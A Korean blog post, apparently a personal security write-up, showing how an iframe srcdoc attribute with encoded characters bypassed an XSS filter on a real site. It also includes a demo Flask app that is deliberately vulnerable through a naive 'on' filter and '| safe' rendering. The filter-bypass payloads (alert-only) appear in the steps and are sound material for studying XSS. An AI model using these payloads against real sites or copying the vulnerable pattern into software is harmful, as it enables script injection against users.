HTML5 태그를 통해 Real World에서 발생한 XSS 취약점을 알아봅시다.
srcdoc
<iframe> 태그의 srcdoc 속성은 <iframe> 요소에 보일 웹 페이지의 HTML 코드를 명시합니다.
srcdoc 속성이 명시되어 있고 해당 브라우저가 srcdoc 속성을 지원
하면, <iframe> 요소의 src 속성값은 srcdoc 속성값으로 재정의
가 됩니다.
그러나 srcdoc 속성이 명시되어 있지만 해당 브라우저가 srcdoc 속성을 지원하지 않으면, 브라우저는 src 속성에 명시된 파일을 <iframe> 요소에 보여줍니다.
Example CODE
1
2
3
4
5
<iframe srcdoc="<p>Hello World!!</p>" src="http://tcpschool.com">
<p>Hi</p>
</iframe>
How Exploit XSS?
해당 웹에서 기본적인 XSS 구문(<,>,이벤트핸들러
)는 필터링이 되어있었습니다.
추가적으로 <p>
,<img>
, <iframe>
3개의 태그는 가능했고 이벤트 핸들러(hex encoding)를 이용해서 터뜨릴려고 했지만 O
를 넣으면 응답 값에는 O -> o로 변환대지 않고 Onerror가 되어 이벤트 핸들러가 먹히지 않았습니다.
그러나 srcdoc
속성에 hex encoding을 이용하니 XSS가 가능했습니다.
1
2
-> 필터링 <iframe srcdoc="onerror=alert(document.domain)">
-> XSS 가능<iframe srcdoc="<img src=x Onerror=alert(document.domain)>"></iframe>
TEST XSS
다음과 같은 코드가 있다고 해봅시다. <img>
,<iframe>
태그만 되도록해야하지만 이것만 된다고 가정을 하고 내가 입력한 param 변수에 on
이라는 문자열이 걸리면 filtered로 됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, render_template
import os
app = Flask(__name__)
@app.route('/')
def index():
param = request.args.get("param","param")
if "on" in param:
return "filtered"
else :
return render_template('index.html',param=param)
if __name__ == '__main__':
app.run(port=5000)
1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<head></head>
<body>
<h1> \{\{param \| safe\}\}</h1>
\을 안넣으면 코드가 화면에 안보임....
</body>
</html>
STEP 1
<img src=x onerror=alert(1)>
을 입력했을 때의 결과입니다.
필터링 로직을 통과하지 못해 filtered가 출력되었습니다.
STEP 2
<img src=x Onerror=alert(1)>
을 입력했을 때의 결과입니다.
onerror가 Onerror로 그대로 반영되어 이벤트 핸들러로 동작을 하지 않습니다.
STEP 3
<iframe srcdoc="<img src=x Onerror=alert(1)>"></iframe>
을 입력했을 때의 결과입니다.
O -> 대문자(O)로 변환되었고 이벤트 핸들러로 동작을 하게 됩니다.
마치며
Hex Encoding이 동작하는지는… 좀 더 공부를 해봐야 할 꺼 같습니다.
그래도 새로운 공격 페이로드를 찾았다는 점에 기쁩니다.
정말이지 XSS 우회 기법은 매우 많다는게……